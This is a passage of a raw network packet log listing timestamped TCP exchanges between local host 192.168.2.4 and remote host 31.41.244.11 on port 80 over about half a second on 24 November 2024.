Nov 24, 2024 14:24:21.443017960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.443082094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.443135023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.443897009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.443948984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.444019079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.444067955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.444880009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.444931030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.445009947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.445060968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.598242044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.598325968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.598344088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.598402977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.598647118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.598716974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.598807096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.598859072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.599390030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.599447012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.599591970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.599643946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.600344896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.600404024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.600441933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.600491047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.601383924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.601465940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.601492882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.601561069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.602191925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.602247000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.602303028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.602355957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.603101969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.603173018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.603266954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.603328943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.604038000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.604089975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.604155064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.604208946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.604975939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.605036974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.605076075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.605125904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.605895042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.605946064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.606008053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.606076956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.606894970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.606950045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.606992960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.607040882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.607763052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.607815981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.607855082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.607903957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.608674049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.608726978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.608768940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.608814955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.609607935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.609659910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.609697104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.609746933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.610527039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.610580921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.610644102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.610697985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.611457109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.611512899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.611588955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.611637115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.612431049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.612484932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.612545013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.612598896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.613320112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.613370895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.613414049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.613468885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.614269018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.614320993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.614363909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.614415884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.615304947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.615330935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.615359068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.615390062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.616126060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.616178036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.616244078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.616296053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.617043018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.617096901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.617157936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.617209911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.617983103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.618036032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.618076086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.618135929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.619065046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.619116068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.619153023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.619206905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.619847059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.619896889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.619976997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.620028019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.620815039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.620866060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.620932102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.620980978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.621695995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.621747971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.621784925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.621833086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.622622967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.622673035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.622899055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.622951031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.623568058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.623615026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.623768091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.623817921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.624519110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.624571085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.624589920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.624674082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.625411034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.625458956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.625621080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.625673056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.626353979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.626401901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.626492023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.626539946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.627264977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.627334118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.627373934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.627424002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.628262043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.628310919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.628401995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.628447056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.629132032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.629182100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.629231930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.629281998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.630074978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.630140066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.630230904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.630279064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.630974054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.631022930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.631093025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.631141901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.631910086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.631958008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.632050037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.632097960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.632852077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.632900000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.633172035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.633223057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.633805037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.633858919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.633893013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.633941889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.634768963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.634818077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.634852886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.634905100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.635648966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.635701895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.635775089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.635824919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.636670113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.636734962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.636748075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.636790037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.637500048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.637546062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.637623072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.637670040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.638417006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.638467073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.638524055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.638575077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.639374018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.639424086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.639496088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.639545918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.640290976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.640338898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.640487909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.640531063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.641206980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.641257048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.641320944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.641370058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.642164946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.642210007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.642287970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.642334938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.643062115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.643111944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.643151999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.643204927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.644013882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.644054890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.644140005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.644186974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.644921064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.644969940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.644973993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.645020008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.645908117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.645957947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.645992994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.646042109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.646753073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.646800995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.799393892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.799511909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.799516916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.799635887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.799657106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.799742937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.799810886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.799866915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.800566912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.800626040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.800724030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.800781965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.801496983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.801551104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.801609039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.801661968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.802417994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.802465916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.802598000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.802653074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.803375006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.803430080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.803471088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.803523064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.804342031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.804398060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.804455996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.804505110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.805219889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.805289030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.805320978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.805376053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.806210995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.806271076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.806344032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.806406021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.807173967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.807231903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.807270050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.807323933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.808243990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.808271885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.808300018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.808346987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.809010983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.809062004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.809066057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.809115887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.809885979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.809938908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.809962988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.810012102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.810796976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.810859919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.810904026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.810955048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.811768055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.811831951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.811853886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.811899900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.812680960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.812728882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.812777042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.812839031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.813570976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.813627958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.813695908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.813750029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.814538002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.814590931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.814680099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.814732075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.815438986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.815489054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.815531015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.815581083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.816376925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.816430092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.816490889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.816541910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.817322969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.817378998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.817421913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.817470074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.818259001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.818316936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.818325043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.818370104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.819161892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.819228888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.819264889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.819325924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.820130110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.820188046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.820327044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.820379972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.821295977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.821374893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.821414948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.821466923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.821980000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.822031021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.822067022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.822115898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.822891951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.822966099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.822985888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.823040962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.823812962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.823867083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.823900938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.823952913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.824778080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.824829102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.824851036 CET	80	49778	31.41.244.11	192.168.2.4
